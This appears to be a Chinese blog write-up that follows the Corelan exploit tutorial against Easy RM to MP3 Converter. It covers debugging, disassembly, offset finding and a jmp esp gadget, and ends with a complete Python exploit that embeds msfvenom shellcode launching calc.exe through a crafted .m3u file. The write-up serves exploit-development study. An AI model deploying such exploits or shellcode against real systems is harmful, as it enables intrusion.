0:000> d 000ffcc4-0n4-0n4
000ffcbc d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
000ffccc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffcdc 43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41 CCCC.AAAAAAAAAAA
000ffcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffcfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd2c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">MSRMfilter03!Playlist_FindNextItem+0x53</code>即为漏洞触发点,IDA反汇编该dll可知是使用strcpy直接向栈上copy过长文件数据导致溢出:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:10008D40 ; Exported entry 7. Playlist_FindNextItem
.text:10008D40
.text:10008D40 ; =============== S U B R O U T I N E =======================================
.text:10008D40
.text:10008D40
.text:10008D40 public Playlist_FindNextItem
.text:10008D40 Playlist_FindNextItem proc near ; DATA XREF: .rdata:off_10034148o
.text:10008D40
.text:10008D40 arg_0 = dword ptr 4
.text:10008D40
.text:10008D40 push 0C0h
.text:10008D45 ; 5: sub_10008DE0(5, aDebugPlaylis_3, (unsigned int)aDMpf2_0Mplayer);
.text:10008D45 push offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D4A push offset aDebugPlaylis_3 ; "Debug: Playlist_FindNextItem enter. %s("...
.text:10008D4F push 5 ; int
.text:10008D51 call sub_10008DE0
.text:10008D56 ; 6: v1 = (const char *)sub_10006850(dword_1004D600, 1);
.text:10008D56 mov eax, dword_1004D600
.text:10008D5B push 1
.text:10008D5D push eax
.text:10008D5E call sub_10006850
.text:10008D63 ; 7: if ( v1 )
.text:10008D63 add esp, 18h
.text:10008D66 test eax, eax
.text:10008D68 jz short loc_10008DAE
.text:10008D6A ; 9: strcpy(a1, v1);
.text:10008D6A push esi
.text:10008D6B push edi
.text:10008D6C mov edi, eax
.text:10008D6E or ecx, 0FFFFFFFFh
.text:10008D71 xor eax, eax
.text:10008D73 push 0CDh
.text:10008D78 repne scasb
.text:10008D7A ; 10: sub_10008DE0(5, aDebugPlaylis_4, (unsigned int)aDMpf2_0Mplayer);
.text:10008D7A not ecx
.text:10008D7C sub edi, ecx
.text:10008D7E push offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D83 mov edx, ecx
.text:10008D85 mov esi, edi
.text:10008D87 mov edi, [esp+10h+arg_0]
.text:10008D8B push offset aDebugPlaylis_4 ; "Debug: Playlist_FindNextItem ok. %s(%u)"
.text:10008D90 shr ecx, 2
.text:10008D93 rep movsd
.text:10008D95 mov ecx, edx
.text:10008D97 push 5 ; int
.text:10008D99 and ecx, 3
.text:10008D9C rep movsb
.text:10008D9E call sub_10008DE0
.text:10008DA3 ; 11: result = 1;
.text:10008DA3 add esp, 10h
.text:10008DA6 mov eax, 1
.text:10008DAB pop edi
.text:10008DAC pop esi
.text:10008DAD retn
.text:10008DAE ; ---------------------------------------------------------------------------
</code></pre></div></div>
<p>在<code class="language-plaintext highlighter-rouge">MSRMfilter03!Playlist_FindNextItem</code>处下断点,<code class="language-plaintext highlighter-rouge">sub_10006850</code>调用完后查看eax可知源数据为文件路径加上文件数据内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000>
eax=03ecce78 ebx=00104a1c ecx=01810590 edx=00000000 esi=00104613 edi=000ffcbc
eip=10008d66 esp=000f738c ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x26:
10008d66 85c0 test eax,eax
0:000> d 03ecce78
03ecce78 5a 3a 5c 31 5c 41 41 41-41 41 41 41 41 41 41 41 Z:\1\AAAAAAAAAAA
03ecce88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecce98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecceb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecced8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d 03ecce78+0n5+0n25000+0n1107
03ed3478 d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
03ed3488 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03ed3498 43 43 43 43 00 73 02 00-48 00 ec 03 88 7d 81 01 CCCC.s..H....}..
03ed34a8 96 21 90 5b 09 73 02 00-48 00 ec 03 88 7d 81 01 .!.[.s..H....}..
03ed34b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
</code></pre></div></div>
<p>同时,在<code class="language-plaintext highlighter-rouge">MSRMfilter03!Playlist_FindNextItem</code>开始处查看返回地址便知调用函数地址和传入的栈参数地址:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(e34.a24): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=045cff5c ebp=045cff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> bp MSRMfilter03!Playlist_FindNextItem
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll -
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000f96bc edx=01280168 esi=00104613 edi=000ffcbc
eip=10008d40 esp=000f738c ebp=00104604 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSRMfilter03!Playlist_FindNextItem:
10008d40 68c0000000 push 0C0h
0:000> d esp
000f738c f6 e3 41 00 bc 96 0f 00-1f 66 00 00 60 29 ff 6f ..A......f..`).o
000f739c 04 46 10 00 1c 4a 10 00-1c 4a 10 00 00 00 00 00 .F...J...J......
000f73ac 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73bc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73cc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73dc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73ec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73fc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
</code></pre></div></div>
<p>IDA打开RM2MP3Converter.exe定位到0041e3f6,其动态调用函数指针,并把栈上的变量作为参数传递,在内部stcpy造成了溢出:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0041E3D8 ; 81: memset(&v53, 0, 0x2200u);
.text:0041E3D8
.text:0041E3D8 loc_41E3D8:
.text:0041E3D8 mov ecx, 880h
.text:0041E3DD xor eax, eax
.text:0041E3DF lea edi, [esp+8928h+var_2200]
.text:0041E3E6 rep stosd
.text:0041E3E8 ; 82: while ( (*(int (__cdecl **)(char *))((char *)v2 + 25714))(&Str) )
.text:0041E3E8 lea ecx, [esp+8928h+Str]
.text:0041E3EF push ecx
.text:0041E3F0 call dword ptr [ebx+6472h]
.text:0041E3F6 add esp, 4
.text:0041E3F9 test eax, eax
.text:0041E3FB jz loc_41
</code></pre></div></div>
<p>继续看一下Str的偏移为0x6600,一切都在掌握<code class="language-plaintext highlighter-rouge">5+25000+1107=0x6600</code>之中:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0041E2B0
.text:0041E2B0
.text:0041E2B0
.text:0041E2B0 sub_41E2B0 proc near
.text:0041E2B0
.text:0041E2B0 var_8918= dword ptr -8918h
.text:0041E2B0 var_8914= dword ptr -8914h
.text:0041E2B0 var_8910= dword ptr -8910h
.text:0041E2B0 var_890C= dword ptr -890Ch
.text:0041E2B0 ArgList= byte ptr -8908h
.text:0041E2B0 var_6704= byte ptr -6704h
.text:0041E2B0 Str= byte ptr -6600h
.text:0041E2B0 var_65FD= byte ptr -65FDh
.text:0041E2B0 var_4400= byte ptr -4400h
.text:0041E2B0 var_2200= byte ptr -2200h
.text:0041E2B0 arg_0= dword ptr
</code></pre></div></div>
<p>在该函数尾部有个<code class="language-plaintext highlighter-rouge">retn 4</code>,也算是解决了原文中的一个小提问吧:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0041E9D2 ; 202: (*(void (**)(void))((char *)v2 + 25710))();
.text:0041E9D2
.text:0041E9D2 loc_41E9D2:
.text:0041E9D2 call dword ptr [ebx+646Eh]
.text:0041E9D8 ; 203: result = 1;
.text:0041E9D8 pop edi
.text:0041E9D9 mov eax, 1
.text:0041E9DE pop esi
.text:0041E9DF pop ebp
.text:0041E9E0 ; 204: dword_47BEA8 = 1;
.text:0041E9E0 mov dword_47BEA8, eax
.text:0041E9E5 pop ebx
.text:0041E9E6 add esp, 8918h
.text:0041E9EC retn 4
.text:0041E9EC sub_41E2B0 endp
.text:0041E9EC
</code></pre></div></div>
<h1>0x02 漏洞利用</h1>
<p>Offset已经确定,<code class="language-plaintext highlighter-rouge">jmp esp</code>的地址就在kernel32.dll中找一个:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> lm m kernel*
start end module name
0dce0000 0dd2a000 KERNELBASE (deferred)
77de0000 77eb4000 kernel32 (export symbols) C:\Windows\system32\kernel32.dll
0:000> s 77de0000 77eb4000 ff e4
77e9f8f7 ff e4 fa 0b 00 64 1c 00-00 20 0a 0c 00 ff ff ff .....d... ......
0:000> u 77e9f8f7
kernel32!WakeConditionVariable+0x158:
77e9f8f7 ffe4 jmp esp
77e9f8f9 fa cli
77e9f8fa 0b00 or eax,dword ptr [eax]
77e9f8fc 641c00 sbb al,0
77e9f8ff 0020 add byte ptr [eax],ah
77e9f901 0a0c00 or cl,byte ptr [eax+eax]
77e9f904 ff ???
77e9f905 ff ???
</code></pre></div></div>
<p>直接使用msfvenom千篇一律的老套路弹个计算器呗,shellcode的细节可能后面会抽时间解析一下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">25000</span><span class="o">+</span><span class="mi">1107</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xf7\xf8\xe9\x77</span><span class="s">"</span> <span class="c1"># 77e9f8f7
</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5e\xbd\xbb\x98\xc5\x45\x59\xe5</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="c1"># with open("pattern.txt", "r") as f:
# pattern = f.read()
</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.m3u"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>最终利用效果图我就不截了,太简单大家都懂的,还有很多的路要走,斗转星移不停留。</p>
Larryxi
0x00 环境搭建 茅盾说:我从来不梦想,我只是在努力认识现实。所以经典的Corelan Team漏洞利用教程还是要先过一遍的。Part 1只是以一个现实漏洞为例,介绍了栈溢出的原理和基本的利用过程。学习别人的东西我也就不用英文装模作样了,还能提高一下效率/笑哭。